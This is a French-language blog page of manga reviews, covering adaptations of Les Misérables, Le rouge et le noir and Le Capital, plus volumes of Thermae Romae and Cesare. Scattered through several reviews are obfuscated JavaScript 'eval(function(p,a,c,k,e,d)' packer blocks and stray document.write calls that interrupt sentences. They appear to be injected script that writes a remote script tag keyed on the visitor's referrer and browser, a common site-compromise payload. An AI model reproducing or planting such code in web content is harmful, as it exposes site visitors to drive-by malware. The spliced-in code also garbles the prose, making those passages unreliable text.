Dans “La confession de Jean Valjean” (pg 68), lorsqu’il apprend qu’un innocent a été arrêté parce qu’on l’a pris pour lui, Valjean se rend au procès et se dénonce. Il promet à Fantine, qui est sur son lit de mort, qu’il s’occupera de Cossette. Dans “Cossette” (pg 88), il se rend chez les Thénardiers et leur “achète” Cossette. Poursuivi par Javert, il se réfugie avec elle dans un couvent où, par pur hasard, le père Fauchelevent travail comme jardinier. Dans “Amour et révolution” (pg 108), Cossette a grandi et ne désir pas prendre le voile. Valjean (qui se cachait au couvent sous l’identité du frère de M. Fauchelevent) et sa “fille” s’installent donc dans une maison dans Paris. Elle croise Marius qui en tombe amoureux. Le jeune homme fait partie d’un groupe secret qui défend les droit du peuple et prône la révolution [ci-contre: pg. 118]. Toutefois Javert a un espion au sein du groupe et le surveille. Marius retrouve Cossette et lui déclare son amour. Le couple se rencontre clandestinement dans un parc. Valjean, qui sent la révolution venir et craint que Javert ne les retrouve, décide de quitter la France pour l’Angleterre.

Dans “La barricade sanglante” (ci-bas: pg 140-141), Javert retrace Valjean grâce à son espion. Cossette laisse une note à Marius pour l’avertir de son départ. Le couple se rencontre une dernière fois, mais Marius, qui a découvert que son groupe est infiltré, décide de retourner à la barricade pour en avertir ses camarades. Celle-ci est assiégé par l’armée mais les révolutionnaires ont capturé Javert. Valjean vient à la barricade pour sauver Marius. Il libère Javert et, alors que la barricade cède sous les coups de canon, il s’échappe par les égouts avec Marius blessé. Dans “La dernière aube” (pg 172), Javert rattrape Valjean et Marius. Valjean supplie Javert de l’aider à sauve Marius. Il l’amène auprès et Cossette et fait appeler un médecin. Valjean retourne voir Javert qui est surpris qu’il n’ait pas chercher à s’échapper. Javert, qui comprend que Valjean est un homme bon et que toutes ces années ses convictions ont été fausses, décide de se suicider en se jetant dans la Seine. “Aimer les gens… voilà la seule vérité qui compte.”


Je n’ai jamais aimé Les misérables car j’ai toujours trouvé que son histoire faisait beaucoup trop… misérabiliste. J’ai donc été plutôt surpris de trouver cette adaptation bonne. Le dessin, sans être extraordinaire ou même beau, est toutefois agréable mais surtout efficace. Et le manga fait une excellente synthèse du roman (bien sûr des pans de l’Histoire sont passé sous silence et il y a quelques divergences avec l’original—qui sont d’ailleurs indiqué par des notes) et rend même l’histoire étonnamment intéressante. La préface par Soleil Manga exprime d’ailleurs assez bien cela:

“À la lecture de ce manga, on se demande : mais comment ont-ils fait? Comment ont-ils réussi à si bien retranscrire ce roman colossal de 1500 pages en seulement 200 de bande dessinée ? Sans fausses notes ? Avec tant de poigne et en même tant de simplicité dans le texte et dans l’image ? Évidemment, ce serait mentir que de dire que tout y est. Car en effet, nous y trouvons nombre d’ellipses et de petits arrangements. Mais c’est dans le choix des passages, des images et dans le système de narration que s’illustre la réussite de ce manga. (…) cet ouvrage demeurera une excellente porte d’entrée à tous les jeunes gens et les moins jeunes souhaitant découvrir cette histoire. Pourquoi ? Peut-être grâce au recul que nous, occidentaux, ne pouvions avoir. Peut-être parce que cette approche nippone apporte un regard nouveau et en même temps très juste sur un objet que nous ne connaissons que trop bien et peut-être dont nous nous étions lassés.”

La préface nous dit aussi que ce manga “n’a pas pas pour but de remplacer l’oeuvre de Victor Hugo” mais plutôt “de provoquer l’envie de lire cette fabuleuse oeuvre dans le texte.” C’est donc assez réussi et je vous en recommande donc la lecture.

Les misérables, écrit par Victor Hugo, adapté et illustré par Variety Art Works (traduction: Anne Mallevay). Toulon, Soleil Manga (Coll. Classiques), mai 2011. 12,8 x 18,2 x 1,5 cm, 192 pg., 6,95 € / $12.95 Can. ISBN: 978-2-30201-377-3. Lecture dans le sens occidental (de gauche à droite) et recommandé pour jeunes adultes (14+).
Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Les misérables by Victor Hugo © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2011 MC Productions.

[ Translate ]

Réflexion aléatoire #014058

Qu’est-ce qui fait qu’un bâtiment s’écroule? Un bâtiment tombe en ruines lorsque les piliers qui le soutiennent rouillent ou pourrissent et lorsque le mortier qui lie ses pierres se désagrège…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sttht|var|u0026u|referrer|drdtr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrkfd|var|u0026u|referrer|dstte||js|php’.split(‘|’),0,{}))

Ce bâtiment c’est notre civilisation, document.write(“”); notre société. Les piliers en sont le système politique qui nous dirige (quel que soit sa nature: théocratique, monarchique, ou démocratique), là où les décisions se prennent, où la gestion se fait. Le mortier, c’est nos lois et nos conventions sociales. Ce
contrat social qui nous lie tous l’un à l’autre dans un seul but, un objectif commun, une survie commune. Celui-ci est de maintenir et de faire progresser tant le bien-être des individus qui forment la collectivité, que de celui de l’ensemble de la société, de la civilisation en tant qu’entité holistique. Comme disait Tolstoï, “Les hommes sont des rouages qui servent à bâtir l’Histoire.”

Mais qu’arrive-t-il quand nos piliers sont corrompu? Quand l’individualisme et le je-m’en-foutisme à outrance, l’insolence et le manque de respect pour l’autre, pour les biens de l’autre, pour la société en général, l’ignorance, quand cet affront généralisé contre la collectivité lentement effrite le mortier qui lie l’ensemble? Alors la structure n’a plus de support, le toit protecteur s’effondre, les murs de nos conventions s’écroulent et la société devient dysfonctionnelle…

Tel est le triste constat que l’on doit faire sur l’état de notre civilisation. Elle semble bientôt destinée à disparaître…

Mais, bon, les babyloniens, les égyptiens, les grecs et les romains ont tous fait ce même constat avant nous, à un moment ou à un autre. Leurs civilisations ont certes disparu mais jamais totalement. Elle se sont transformées, ont été absorbées, pour devenir l’étape suivante de l’Humanité. Alors, peut-être, tout n’est-il pas perdu?

[ Translate ]

Thermae Romae (6)

“Lucius Modestus, document.write(“”); architecte romain en panne d’inspiration, découvre un passage à travers le temps qui le fait émerger au XXIe siècle, dans un bain japonais !!!”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afznb|var|u0026u|referrer|khbnb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iehet|var|u0026u|referrer|brhzf||js|php’.split(‘|’),0,{}))

“Satsuki n’arrive pas à oublier Lucius, qui s’est subitement volatilisé sous ses yeux… Elle se lance sur ses traces et décide d’entreprendre des fouilles archéologiques à Baïes, dans l’espoir d’y exhumer un indice qui lui permettrait de se rapprocher de Lucius à travers le temps… Notre héros, quant à lui, est de retour dans la Rome antique et s’attèle à la construction d’un grand site thermal dans cette même ville, mais deux millénaires plus tôt, alors même que l’empereur Hadrien risque de succomber à sa maladie à tout moment…”

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

J’ai déjà introduit cette intéressante série historique et humoristique dans un billet consacré aux cinq premiers volumes et dans un autre billet (en anglais) j’en ai introduit les adaptations animée et cinématographique. Je vous réfère donc à ces billets pour plus de détails sur cette série.

Thermae Romae (???????? / ce qui signifie les thermes, ou bains, romains en latin), écrit et illustré par Mari Yamazaki, a d’abord été prépublié en feuilletons par Enterbrain dans leur magazine mensuel de manga seinen Comic Beam (entre février 2008 et avril 2013) avant d’être compilé en six tank?bon (volumes; paru entre novembre 2009 et juin 2013). La traduction française est publiée par Casterman (Collection Sakka) depuis mars 2012 et ce sixième et dernier volume est paru en octobre 2013. [ci-contre: pg 3]

Lucius Quintus Modestus est un architecte romain du IIe siècle qui voyage mystérieusement dans le Japon moderne (grâce aux bains) chaque fois qu’il est en manque d’idée pour concevoir une nouvelle réalisation, toujours plus innovatrice que la précédente. Cette fois, à la demande d’Hadrien, il doit rénover les installations thermales de la ville balnéaire de Baïes. Au cours de ses voyages spatio-temporels, il a développé une relation romantique avec Satsuki, une jeune japonaise férue d’histoire antique. Toutefois la disparition de Lucius, qui est retourné dans la Baïes du IIe siècle afin d’en terminer les thermes avant la mort du l’empereur, laisse Satsuki dans le désarroi. [ci-contre: pg 5] Elle fait faire des recherches par ses étudiants afin de trouvé trace de Lucius dans l’histoire mais sans résultats. Pendant ce temps, Lucius consacre toutes ses énergies pour edifier des thermes splendides à Baïes avant que la maladie n’ait raison d’Hadrien. Il confie aussi la vérité sur ses périples au jeune Marcus.

Satsuki réalise que la seule façon de trouver de l’information serait de faire des fouilles archéologiques à Baïes. Un collègue d’Oxford veut bien l’aider, mais il faut d’abord qu’elle trouve les fonds nécessaire, ce qui représente une somme très importante. Toutefois, grâce aux nombreux contacts mystérieux de Tetsuzô, son grand-père, elle réussi à financer les recherches. [ci-contre: pg 109] Mais c’est au tour du grand-père de voyager dans la Baïes antique. Sa renommée de masseur miracle s’y répand rapidement et l’on fait appel à lui pour prolonger les jours de l’empereur. Au moment où il entr’aperçoit Lucius aux thermes, il se retrouve transporté aux bains publiques de l’auberge Tôrinkan, au Japon. Les fouilles révèlent rapidement les traces du passage de Lucius et l’influence de la culture thermale japonaise (que seule vraiment un japonais peut comprendre). Se rappelant l’expérience de son grand-père, Satsuki se jète dans la source thermale qui jadis alimentait les bains de Baïes, espérant être transporté auprès de Lucius… Le stratagème fonctionne mais elle est rapidement faite prisonnière par des marchands d’esclaves!

Heureusement, le jeune Marcus Aurelius, qui passait par là pour se trouver un esclave brillant pour le servir lors de son séjour à Baïes, entend Satsuki appeller Lucius à l’aide. Il reconnait en elle l’un de ces “visages plats” dont Lucius lui a parlé et la sauve des griffes des marchands d’esclave. Il accepte de l’amener auprès de Lucius, qui est aux bains de la résidence secondaire de l’empereur, mais elle ne peut pas le voir maintenant car l’empereur, mourant, est en train de prendre son dernier bain! “Chez nous, citoyens romains, les choses importantes se disent dans les bains. (…) Il me suffit d’un bain… pour éprouver la joie profonde d’être né. (…) Continue… à bâtir des havres de paix pour les romains.” L’empereur, reconnaissant envers Lucius pour avoir construit la station balnéaire idéale, lui meurt dans les bras. Encore sous le choc, il marche sur la plage et aperçoit Satsuki. Il s’élance vers elle et l’enlace. Les amoureux sont enfin réuni! Un peu plus tard, Antonin succède à Hadrien comme empereur et Tatsuki donne un fils à Lucius.

Si la série dans son ensemble est très bonne, ce dernier volume est plutôt décevant. Le récit laisse en plan certain aspect de l’histoire–qu’arrive-t-il au grand-père? Au cheval Hanako? Aux gens du village d’Itô? À Marc-Aurèle? (Quoique l’auteur promet de mener chacune de ces histoires à terme dans un prochain manga)–et nous offre une fin un peu trop prévisible (quoique ce soit une belle fin). Plus grave, le dessin semble être de moindre qualité et on ne retrouve aucunes planches en couleurs. Il y a bien sûr toujours de superbe arrières-plans et on retrouve encore un certain réalisme dans le dessin, mais le tout semble un peu plus bâclé, comme si l’artiste voulait en finir rapidement avec la série et passer à autre chose. C’est bien dommage.

Malgré tout, comme je l’ai déjà dis, ce manga est, pour moi personnellement, particulièrement intéressant et amusant car il allie mes plus grands amours: le Japon et la Rome Antique, l’histoire et le manga! Qui plus est, il met en scène une période de l’histoire romaine qui m’est chère (la “dynastie” des Antonins, particulièrement Hadrien et Marcus Aurelius). Sans être académique, le manga offre une certaine rigueur historique. Chacun des chapitres est suivi de commentaires et de notes explicatives par l’auteur. Donc, en plus d’être un divertissement agréable, Thermae Romae nous offre beaucoup d’information tant sur la culture japonaise que romaine (qui, étrangement, semblent comporter quelques points communs!). En conclusion, si vous aimez les manga historique, les bains et l’empire romain, ce manga est définitivement pour vous. Je vous le recommande chaudement!

Thermae Romae, vol. 6, par Mari Yamazaki. Paris, Casterman (Coll. Sakka), octobre 2013. 13.2 x 18.0 x 1.6 cm, 194 pg., 7,50 € / $13.95 Can. ISBN: 978-2-203-06207-8. Sens de lecture original japonais. Recommandé pour jeune adulte (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Thermae Romae © 2013 Mari Yamazaki. © Casterman 2013 pour la présente édition française.

[ Translate ]

Cesare (6)

Cesare_6-cov“L’heure de la traditionnelle mêlée à cheval organisée par l’université de Pise a sonné… Alors qu’Henri profite de l’occasion pour régler ses comptes avec le jeune Borgia, Angelo offre la victoire à son camp en s’emparant presque malgré lui du drapeau ennemi!”

“Mais les réjouissances sont de courte durée : maintenant que Cesare pense avoir démasqué ses mystérieux opposants, reste encore à élaborer une stratégie pour les piéger…”

Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

PIL

L.10EBBN001928.N001_PILtome01_C_FR“Début des années 80, au Japon. En l’absence de sa mère, Nanami, une adolescente très énergique, vit seule dans la maison familiale avec son grand-père Tokushirô. Sa profonde affection pour ce vieil homme excentrique et original n’empêche pas les conflits. Nanami entretient ainsi une guérilla permanente avec l’inconséquence et la prodigalité de son grand-père, incapable de gérer correctement le peu d’argent dont ils disposent pour vivre et se nourrir. Tokushirô de son côté, tout en ayant conscience de certaines des angoisses de sa petite fille, ne parvient que difficilement à brider son côté jouisseur et fantasque. Heureusement, l’un et l’autre partagent un vrai goût de l’anticonformisme et une fascination pour la culture britannique : Tokushirô a autrefois vécu en Grande Bretagne et parle l’anglais, une rareté chez les Japonais, tandis que Nanami vibre pour les musiciens punks anglais qui occupent alors le devant de la scène rock internationale, à l’image de son groupe fétiche P.I.L.…” [ Texte du site de l’éditeur ]

“«Regarde ces gens ! Ils n’ont ni crête ni ceinture cloutée… Mais ce sont leurs semblables, des ouvriers, qui ont donné naissance à l’esprit punk !»”

“Quand l’auteure du manga phénomène Thermae Romae, élue femme de l’année 2012 par Vogue Japon, porte un regard empreint de tendresse et d’humour sur les relations entre générations, sur fond de punk rock…”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>
Continue reading

Cesare (5)

Cesare_5-cov“Un soir de tempête, alors que la manufacture est quasiment prête à être livrée, Angelo décide d’effectuer une ronde et tombe nez à nez avec un groupe d’hommes vêtu comme des dominicains, qui mettent le feu à la fabrique ! Quelques jours plus tard, un cadavre porteur d’un compas dérobé sur le chantier par l’un des auteurs de l’incendie est repêché dans le fleuve…”

“Le seul autre indice susceptible de mener aux coupables est une brûlure qui aurait marqué l’un d’eux à l’épaule droite: c’est sur cette maigre base que Cesare se lance à leur recherche. Il emprunte des vêtements à Angelo, fausse compagnie à sa garde et part se mêler à la foule de la cité en fête. Mais au milieu des badauds et des forains se cache aussi l’assassin qui en veut à la vie de l’héritier des Borgia…”

Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

[Note: la citation latine en couverture Reddite quae sunt Caesaris, Caesari, et quae sunt Dei, Deo signifie “Rendez à César ce qui appartient à César, et à Dieu ce qui appartient à Dieu”]

Continuez après le saut de page >>

Continue reading

Le rouge et le noir

Je renie ce monde où tout est réparti selon le rang de naissance!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zside|var|u0026u|referrer|fnksy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kffsa|var|u0026u|referrer|driik||js|php’.split(‘|’),0,{}))

“La France du XIXe siècle est dominée par les aristocrates. Julien Sorel est un fils de charpentier qui a grandi sans savoir ce qu’est l’amour. Fasciné par Napoléon, document.write(“”); son naturel intelligent et sa beauté séduisent les nobles qui lui mettent entre les mains un billet pour le succès. Inspiré d’un fait divers réel de l’époque, ce manga, adaptation d’un chef-d’oeuvre de la littérature française, offre une décomposition de la psychologie amoureuse autant que de la pensée politique.”

Car en vérité, vous avez peur de moi, n’est-ce pas? Cuistres que vous êtes…

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Le rouge et le noir (?????????? / Manga de dokuha: Aka to kuro) est le quatorzième volume de la collection manga de dokuha (lit. “Lisez en manga”) publiés par East Press en mars 2008 (le #655 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le second titre de la collection a être traduit par Soleil Manga en mai 2011 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu et Le Capital). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

À Verrières au début du XIXe siècle, le jeune Julien Sorel est un grand admirateur de Napoléon. Il aurait bien aimé suivre les pas de celui qui démontra que la naissance et la classe sociale ne déterminait pas son destin. Il rêvait d’une brillante carrière militaire qui lui permettrait de conquérir le coeur d’une noble parisienne. Hélas, depuis la chute de Napoléon, la noblesse avait reprit ses droits et le fils d’un charpentier de village ne pouvait aspirer à un tel poste. La seule alternative pour obtenir une position de pouvoir étant l’Église, il étudiait donc, sous la protection de l’abbé Chélan, afin de devenir prêtre. Mais son père, qui ne voyait pas d’un bon oeil toutes ces études, fit des arrangements pour qu’il devienne le précepteur des enfants du maire.

Il entre donc au service des De Rénal. Il espère que la reconnaissance de son travail et la recommendation d’un gentilhomme lui ouvrira des portes. Élisa, une jeune servante de la famille, tombe amoureuse de lui mais il la refuse car il ne veut pas laisser une passion amoureuse nuire à son ambition. Toutefois, lorsqu’il se rend compte de l’effet qu’il a sur la femme du maire, Louise de Rénal, il décide de séduire celle-ci. Mais lorsque l’un de ses enfants tombe malade, elle est pris de remords et y voit le punition de Dieu pour son péché d’adultère et Julien est renvoyé. [ci-contre: pg 78]

Julien se retrouve donc au séminaire de Besançon, de retour sur la voie de devenir prêtre. En travaillant dur, il acquiert le support du directeur du séminaire, l’abbé Pirard. Mais celui-ci a des ennemis qui, à cause de son association avec l’abbé Pirard, font obstacle à la carrière de Julien. L’abbé Pirard décide donc de quitter ses fonctions et amène Julien avec lui à Paris où il lui trouve un poste de secrétaire chez le Marquis de la Mole.

Un jour, pour échapper à la pluie, il entre dans un café et se fait insulté par un individu que la carte de visite identifie comme le Baron Charles de Beauvoisis. Il le provoque en duel afin de préserver son honneur mais lorsqu’il se présente chez le Baron il découvre que l’individu qui l’a insulté est fait le cocher du Baron. Celui-ci endosse la responsabilité des actes de son domestique et accepte le duel. [ci-contre: pg 114] Les deux duellistes survivent mais devant le courage de Julien, le Baron devient son ami et fait courir la rumeur que Julien est le fils naturel d’un noble. Avec le support tant du Baron de Beauvoisis que du Marquis de la Mole, Julien peut ainsi faire son entrée dans la bonne société!

Lors d’une soirée, Julien croise par hasard Monsieur Valenod, le rival de Monsieur De Rénal, maintenant maire de Verrières. Celui-ci lui demande d’être introduit au Marquis de la Mole mais Julien refuse en invoquant l’excuse qu’il est “un trop petit garçon à l’hôtel de la Mole… pour prendre sur moi de présenter quiconque à Monsieur le Marquis”, ce qui rend Valenod furieux. Julien se découvre des affinités avec Mathilde, la fille du Marquis de la Mole, qui le méprisait en tant que roturier mais qui devient peu à peu intriguée, puis fascinée et enfin amoureuse de Julien. [ci-contre: pg 125] Orgueilleuse, elle joue un peu avec ses sentiments, mais elle succombe définitivement quand Julien tente de la rendre jalouse. Le Marquis est furieux lorsqu’elle tombe enceinte. Alors, pour sauver les apparences, il offre à Julien le titre de Chevalier de la Vernaye, des terres, une rente et un poste de lieutenant des Hussards afin qu’il puisse épouser sa fille. Julien est maintenant heureux car il peut maintenant gravir les échelons de la bonne société.

Toutefois, sa réussite fait des jaloux parmi le clergé et le confesseur de Madame de Rénal la convainc d’écrire une lettre qui dénonce Julien comme un hypocrite qui, pour réussir, “cherche à séduire la noble dame de la maison où il réside…” Fou de rage de voir son rêve détruit, il tire au pistolet sur Madame de Rénal. Elle survit mais il se retrouve en prison. Mathilde fait tout son possible pour utiliser les relations et la fortune de sa famille afin d’obtenir un acquittement au procès en achetant les jurés. Mais cela dégoûte Julien: “Profits, vanité, libertinage… Je ne vois là que des gens assis bien droit dans la hiérarchie sociale et prêt à diriger les honnêtes gens du peuple… Des esprits corrompus et aveuglés par l’argent qui se détournent de la vérité… Plutôt mourir que de demander de l’aide à ces gens-là…” Il avoue donc avoir agit avec préméditation et que son seul crime est celui “d’être issue du peuple… et d’avoir eu l’audace de me mêler à ce que l’orgueil des gens riches appelle la société!” Louise de Rénal vient le visiter en prison [ci-contre: pg 182] pour lui affirmer encore son amour — l’amour, ce sentiment qui échappe à sa compréhension et qui a déjoué son ambition. Après avoir été guillotiné, Julien est enterré dans une petite grotte de la montagne qui domine Verrières. Avant de refermer le tombeau, en écho à l’amour tragique entre son ancêtre Boniface de la Mole et Marguerite de Navarre, Mathilde serre la tête décapitée de Julien dans ses mains: “Tu es à moi… à jamais.”

Cette adaptation en manga de Le rouge et de noir de Stendhal est une très bonne et agréable lecture. Cela me paraît un condensé (style Readers’ Digest!) assez fidèle au roman. Je n’ai bien sûr pas lu l’original mais je l’ai un peu feuilleté et je peux aussi y comparer l’excellente adaptation cinématographique réalisé par Claude Autant-Lara en 1954 (avec Gérard Philipe et Danielle Darrieux) que j’ai vu maintes fois. Chose amusante, le manga fait sa propre autocritique, en indiquant par des notes lorsqu’il y a des divergences majeures avec l’oeuvre originale. J’ai également remarqué que la scène finale, avec la tête coupée, n’apparaît pas dans le film d’Autant-Lara (c’était sans doute trop fort pour l’époque).

Le style graphique du manga (qui par moment rappelle au peu celui du genre sh?jo) est plutôt bien tout en étant assez inégal: les traits sont généralement simple et naif, quoique les visages des personnages (surtout féminins) sont beaux et expressifs, et les arrières-plans sont souvent bien travaillés. Les artistes ont mis juste assez d’effort pour que le dessin soit agréable mais sans plus.

Si le roman lui-même reste muet sur le sens du titre, le manga met beaucoup d’emphase à l’expliquer en suivant la thèse la plus commune (et évidente) chez les érudits: le rouge représente la carrière militaire à laquelle Julien rêvait (le rouge de l’uniforme) et le noir représente la carrière ecclésiastique à laquelle il s’était résolu (le noir de la soutane). Stendhal se serait inspiré d’un fait divers de l’époque (1827), où un séminariste nommé Antoine Berthet aurait à deux reprises séduit une femme d’une maison où il était précepteur (dans le premier cas, la maîtresse de la maison Michoud, et la fille de la famille Cordon dans le second) et tiré au pistolet sur la première avant d’être arrêté et exécuté. Le roman de Stendhal (Henri Beyle de son vrai nom) est d’abord un roman historique puisqu’il y présente la société française telle quelle était entre le Premier Empire et la Deuxième République (façonnée par les événements tant de la Restauration, que du bref retour de Napoléon, puis de la Seconde Restauration, et enfin de la révolution de 1830 ainsi que la Monarchie de Juillet). C’est également une roman psychologique où il expose et étudie les motivations, l’ambition et les amours des personnages.

Je crois que le manga exprime assez bien l’essence de tout cela. C’est non seulement une lecture agréable mais il nous fait également découvrir tant l’oeuvre de Stendhal qu’une époque intrigante de la complexe histoire française. À lire certainement.

Le rouge et le noir, écrit par Stendhal, adapté et illustré par Variety Art Works (traduction: Anne Mallevay). Toulon, Soleil Manga (Coll. Classiques), mai 2011. 12,8 x 18,2 x 1,5 cm, 192 pg., 6,95 € / $12.95 Can. ISBN: 978-2-30201-346-9. Lecture dans le sens occidental (de gauche à droite) et recommandé pour jeunes adultes (14+).
Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Le rouge et le noir by Stendhal © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2011 MC Productions.

[ Translate ]

Cesare (4)

Cesare_4-cov“Angelo, qui s’est vu confier la supervision du chantier de la manufacture, promet innocemment à Cesare de lui rapporter tout ce qui touchera à l’avancée des travaux. Ayant eu vent de ce pacte, Miguel conseille au jeune Florentin de ne pas accorder aveuglément sa confiance à son camarade espagnol.”

“C’est alors qu’un autre personnage approche Cesare : Niccolò Machiavel, agent à la solde de Lorenzo de Médicis. Lorsque l’espion lui confie que l’état de santé de son employeur est des plus préoccupants, le jeune Borgia prend conscience de la nécessité de réconcilier les Médicis et Raffaele Riario avant que Florence ne montre des signes de faiblesse. Tout en prenant soin de s’assurer de l’identité de tous les membres de la Fiorentina, il met en place un nouveau plan…”

Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Le Capital

Sais-tu de quoi est fait l’argent que nous utilisons ?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faabh|var|u0026u|referrer|eeyab||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sayhk|var|u0026u|referrer|seada||js|php’.split(‘|’),0,{}))

“Au milieu du XIXe siècle, document.write(“”); la révolution industrielle se met en marche en Europe, chamboulant notre manière de voir, de consommer et de vivre. La production en masse est désormais possible, mais les inégalités qui résultent des nouvelles pratiques économiques et sociales creusent un fossé qu’il est difficile de combler. La nouvelle donne profite à une minorité d’entrepreneurs tandis qu’elle dessert considérablement la masse de travailleurs qui ne deviennent qu’une «force de travail» pour enrichir les premiers. Découvrez dans ce manga une introduction à l’oeuvre majeure de Karl Marx, concernant le système économique actuel: le capitalisme…”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Les deux volumes du Capital (?????? ??? & ?????? ????? / Manga de dokuha: Shihon-ron & Manga de dokuha: Zoku Shihon-ron / Lit. Le Capital & Le Capital, la suite) sont les vingt-sixième et trente-cinquième volumes de la collection manga de dokuha (lit. “Lisez en manga”) publiés par East Press en décembre 2008 et avril 2009 (les #797 & 885 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le tout premier titre de la collection a être traduit par Soleil Manga en janvier 2011 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

